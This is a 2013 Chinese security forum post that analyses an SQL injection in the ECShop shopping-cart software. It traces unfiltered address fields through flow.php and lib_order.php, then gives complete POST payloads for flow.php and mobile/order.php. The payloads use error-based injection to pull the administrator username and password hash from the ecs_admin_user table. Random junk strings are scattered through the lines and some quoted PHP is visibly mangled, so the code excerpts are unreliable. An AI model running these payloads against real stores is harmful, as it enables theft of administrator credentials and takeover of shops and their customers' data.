找回密码
 立即注册
查看: 2650|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。4 \, g* W0 }' x0 g; ~' _0 o

% M5 O/ R4 c& ~( ]    漏洞关键文件:
1 r; O* [! S5 P1 [, `6 I  \7 X9 s1 d# X7 N8 G
    /includes/lib_order.php, C7 N7 B  w7 H, _& r
2 Y  N! J* h' I9 H
    关键函数:
7 G! V, \, f  a7 h) E1 {7 r$ R6 p! c* C( {. w
8 W; E: d+ U& M0 b# J5 g5 l: ^
" W+ a. J& j  E. |" @
01     function available_shipping_list($region_id_list)
& c# X. ?  S4 f$ j
* {: K4 S) B) `- }* X# u9 [02 {
& M* c4 t5 G- @7 f, M& z# D  I5 S2 S" x2 P* ?  T' X
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
! k8 i5 }# S4 q' |( O( A: A
% e  Z1 u! m4 O8 I  J7 ?- a' d04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . - s% M# M8 f. s' O5 v
4 N1 f% E/ }! l- j, O
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
5 c, G3 ~/ D- N; `0 }' v' f! Z. d8 x3 F% M& v1 R
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
6 ]% o8 r% n$ |" C, L: R( E- I4 D" J" X
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 Y) V5 d* D  y+ b* I

/ Z7 s+ S6 j3 J5 G: k9 Y08             'WHERE r.region_id ' . db_create_in($region_id_list) . / i" J7 u& x! i/ L' d& s0 T

; ~! U. s$ ^( Z) d) e- q09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ; V$ }! M" d, ~* e5 D  A' ]

) W7 S# R9 w3 T  ~" B4 Q" {10   
; T! @/ Z+ o8 {& r) T5 @* i! J7 ?+ F  Q3 r/ `1 |
11     return $GLOBALS['db']->getAll($sql);
" X4 w: p. \3 K8 ?3 N6 V/ ?* Z; E* B: ~9 P2 Z' `, U
12 }
+ p6 X" ^3 V/ a6 `. G: @/ b5 H9 [9 q+ y6 P% s8 l
显然对传入的参数没有任何过滤就带入了查询语句。* G% D$ ~) ~9 z+ ^  m) T

& s( f7 Y. K( k: W% ~下面我们追踪这个函数在flow.php中:
: D. L* i+ x" o. e 第531行:   
- w  j' X7 O( m2 S; N& R: b) B: F- H7 Y& F% r; N  S1 ^; U/ m5 h
1 $shipping_list     = available_shipping_list($region); + x. Q- j* D5 W/ E  u

3 i& e7 q5 @' r4 X+ q
% y, E8 |& e5 t7 H+ i) i- u- C; E
& n; d5 Q  ^3 P
2 I) u. m# g! w' L9 d2 |; ]- P5 L' ~" t% \/ Y
再对传入变量进行追踪:
5 L8 B* T6 b1 k0 C& Y7 s7 f' g# s# y$ J9 y: ~+ G
第530行:    $ ]9 }, \: Y& ?6 {; [

+ F. q8 [8 G& ?( f1 z6 \1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
( |( n* A) B# A6 ?: `! w% c% H- y, h$ V
9 R, K; j/ s& y" M+ ^3 F1 L+ O* u
3 q8 b6 U! w& \" I6 O; K

4 k7 w7 c# S$ W# q, K5 k  `
! V: [2 D9 R: ]$ L% W0 a6 }% `第473行:        & ?. t: l9 D; G
) l: s$ V' A/ F& b; o& h- B
1 $consignee = get_consignee($_SESSION['user_id']);
8 ]9 k& v  w4 U8 K. g" ^' v, T' y2 S- s* H6 Y- K! J; o
到了一个关键函数:  ?# O0 E! V9 C! m( ~& ^
4 G) i  z9 o' ^
/includes/lib_order.php4 n: ^( @& J1 i. D

/ W( R+ Y5 A7 A, H9 Y9 J; x3 L
8 y8 l! H! b+ U; x
: z; m2 e, z, ?6 I9 l# V! f ' j/ ]3 W/ x7 k

: ^. i& ^: J& z3 R1 E2 h4 c8 A01 function get_consignee($user_id) 6 R. R8 z% K3 M

, u& I8 m  H% |: C- i* f02 { 7 a5 q5 J$ N* s* r( t3 a. V5 r3 L

) Y( q: ]! U# K03     if (isset($_SESSION['flow_consignee']))
" f; y) R& I& K' Q; b# b. ]9 A1 u3 ~: H+ R
04     {
0 H; w6 }- B  c# D$ b3 Q0 g3 ]; k6 l4 H* F8 T6 P
05         /* 如果存在session,则直接返回session中的收货人信息 */
& E0 _4 @  f; `, v
( ?& m2 R2 }- A* {( U06   
6 T' g' Q" l, p8 f1 _7 e5 ~
( g6 k" B( ^# ^6 a7 R6 ?0 Q07         return $_SESSION['flow_consignee'];
( n, r/ U% H( g# g. T& v* R: G0 g0 q' ?0 B. c+ k
08     }
: j+ ^2 Q1 _1 T% N! m) Z( m1 a) q0 u# S& G
09     else * E  `3 r' k- ?

" p7 R8 J* k# _* k10     { ! v! a1 i  q1 n& F' ]3 c$ Q  W

/ ]% {; U( H  e11         /* 如果不存在,则取得用户的默认收货人信息 */
9 q; V  \6 A& O* B+ ]' O3 _1 [/ M' g6 c! t8 n, [3 C6 P4 d
12         $arr = array();
( x# Y& O6 {" x: n
7 \4 X# `3 I6 E+ `3 Z* `0 w) V13   
( r/ R  M7 f1 G0 y# R9 t* g( \$ x: C* b% }
14         if ($user_id > 0) 5 x5 e- R. M8 J) z( X$ V
3 D) n3 b( ~/ j  [6 p2 Q* ^
15         {
) |; Y8 b& _# j& F3 I: J! ~  T* E  y7 V9 K
16             /* 取默认地址 */
# u) N0 D( P, y: w' c/ _
  w/ x& @! E6 q# i17             $sql = "SELECT ua.*".
' ^! _5 t% ?) X9 t
  l6 X- ?$ ]$ w/ B1 p& M0 [; T  I3 }18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 0 h& n, m% R+ R3 m8 T
( s3 T* {. E* _$ _; d1 T- Q; s
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
, m3 T* \" k* N" l) h3 x6 O! W5 i
' y) C( ~8 T9 V* _. A. {, ]$ [8 E" }20   8 `+ Y3 N7 M+ F. r$ C8 V
6 ^' s& S! _1 I5 R2 x, n8 _
21             $arr = $GLOBALS['db']->getRow($sql); 8 R5 }. }3 ~: ^

8 a6 ~% W5 }, e4 D( W22         } 8 S/ |+ l' r; J8 A6 F4 v1 M

+ L6 U9 W+ k7 _1 i9 K+ l23   
9 y3 j1 K: k& O5 X: H2 i% Y4 j
# j( r  d5 E, x" t. p24         return $arr; : ~9 X) I* Z% |

$ V5 b% N$ j1 i- N9 E, p0 m25     } - o2 w; O* A4 ]1 j6 o$ y. ?
* J0 }" m# [0 |' A  u
26 }
( M8 a9 u- ~- a7 L; Y
9 Q% k3 e- }! K# i" p" ~: h显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?1 G! o$ B4 V  O& ^# z  ?6 }# V$ v
0 j* O8 K1 m8 [5 |* |
3 W; D+ O% j1 y) D6 T  N
2 f% V+ r# S, `5 s5 h
关键点:/ D9 A+ S4 _+ ^# c
9 B" B4 ]' T8 t& v0 }
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);  ~2 D3 f0 t; o

6 ?2 P) M* Y2 ?! R7 X这里对传入参数反转义存入$_SESSION中。
7 t1 ^; }3 l3 ~1 M, y/ y8 |& K' o2 v6 a# O: z, I# G2 X- F
$ f7 c" C. G# Q( k! f. r
! P0 R2 n$ [) J  C# f0 y
然后看下:
5 N1 n$ c. A4 n( `) l, c
& z1 W, T5 U/ L4 \3 C% b- Z! a 1 Y8 Z; _" R+ V' I% n  @7 `- l8 t

* v) t1 V. G# E# t9 `   
( ~- P6 M4 t, h# d" `5 f: V/ [1 G4 V" B. [
01 $consignee = array( . e( y. c+ o# ^8 K
1 `- K7 N, W6 ]" [, H+ J9 S
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
! K( ?: t) U4 `5 J( f+ g
5 s3 G0 n. F3 d* o# f* y, c# t03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), % Q7 F9 R( b% ?/ q$ E8 T
6 t5 Q1 s; o$ @: s& c( g
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 0 s! b5 K( {* I# p9 j: k

2 C! C+ d- ?$ W+ N( B9 s05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
) H  ~0 ?+ a! t+ x1 x& X6 [$ @. L/ w) v. I2 }. n
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
$ {3 F9 [, `' H: n
( b; ?, {2 Y: T: I( g; v& G07         'district'      => empty($_POST['district'])   ? '' _POST['district'], ) a* B$ w8 q) n! d1 ]- t5 d

  I/ {: c  t4 i- z08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 2 _3 z8 ~. `! }2 x/ e

& [8 v( Q$ m7 Q& C, _' @. n09         'address'       => empty($_POST['address'])    ? '' _POST['address'], + U" q* ]" d! f2 U
3 m1 f  M) Q6 h% x; Y% U
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 8 a* u7 n( p6 {7 Y4 Z6 m" q0 m

% [* F6 p% {9 n0 q11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), : K  N. x1 _' z0 X, N: @* d* D

) }) z( h# M- f" d, ]* ~6 @# z12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
! `, P: ?# ]! f+ X
, {3 D# t6 J! ?( s3 n% R13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], " x, y% U4 @6 J7 H

0 M3 f' r6 a3 h0 N* T! t- v2 `9 J14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
6 z) X4 a1 h0 \8 n  X. M4 v3 O8 I' U& l7 c+ ~+ G
15     ); 1 F  P2 Z# Q4 i* H* }" x2 X+ s
+ g4 P% u, z4 b2 I4 T& E( [
好了注入就这样出现了。
$ A' q- u" S- }- p) K$ T# b) X4 D4 B* o% v
==================7 q- _- v3 q2 u- p

1 ^; K8 W2 x* U注入测试:
0 z2 T. x! g* M$ w
( w4 w3 n& M5 ^  l7 t环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& ?6 R( G) A6 m9 O0 N

5 @. S. _0 Z& J* d. |& e测试程序:ECShop_V2.7.3_UTF8_release11066 f$ t2 J6 _5 I0 D

" d' K7 j& O. [& b. w & e! y5 Y) d3 q5 Z& ^; w
/ V6 T# ~5 c! F- f# [: A3 i
1.首先需要点击一个商品加入购物车& _* }2 ?$ W: x) r( ]7 `" M
; T& E. O$ h. s( b
2.注册一个会员帐号
7 i# m  g1 \* X- c" M8 d, f6 O. Z4 ?0 C+ ]( Z: B6 k; V
3.post提交数据
3 S! h( Q& o; z9 R
/ ^6 c9 T! k- Y+ t; N ! W! Q2 A  ~0 e3 Q7 f  C5 j0 y/ t

4 S* L+ ]4 t1 }1 http://127.0.0.1/ecshop/flow.php
# W7 r9 L+ B7 g. W0 b0 Q1 {5 P3 b# K0 }6 {
2   
- i9 M4 u+ E; k" J! x2 u  W+ L- V4 D( T2 J5 _$ T8 o9 g
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 9 j0 H+ h" P, r4 n+ y/ e7 g1 M
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
% v. I' M6 [) @! q( J2 m
( e7 F+ k4 @# ~9 h( M) r# a( z" H我们搜寻关键函数function available_shipping_list()
, j( m8 [5 w+ Q
, v+ G( d  L' p( J' F2 I/ a在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
" @8 `; |$ M+ `: C! e: k7 q( d: `$ l) V1 t, X
利用exp:
7 n4 f5 F: f1 F# v4 ~  M5 ?& p: v& o6 T( v" k6 A9 s# U
1.点击一个商品,点击购买商标" u8 O# x6 \$ }6 E9 H; m2 @4 L5 L

! q* G5 z/ L- c/ B7 b: N2.登录会员帐号
% d. [8 }) @0 p2 p, @7 F
- l7 |" t8 e- m, h  _+ |2 f3 c3.post提交:8 l8 x9 L2 Q! c! U

7 {7 n# Z( j+ H6 }* e) ^+ ~; `http://127.0.0.1/ecshop/mobile/order.php5 I0 P8 g5 X/ K. ^% [, Q

& U9 E3 P8 B% ]# ~8 n# E, M
: Z, Z% ~2 l2 A3 X; B0 r8 S' O' n7 L5 R! q9 \
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=8 V; i/ a! I$ O* f/ o3 U( L

1 _; U. Y, m" Z1 B& F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表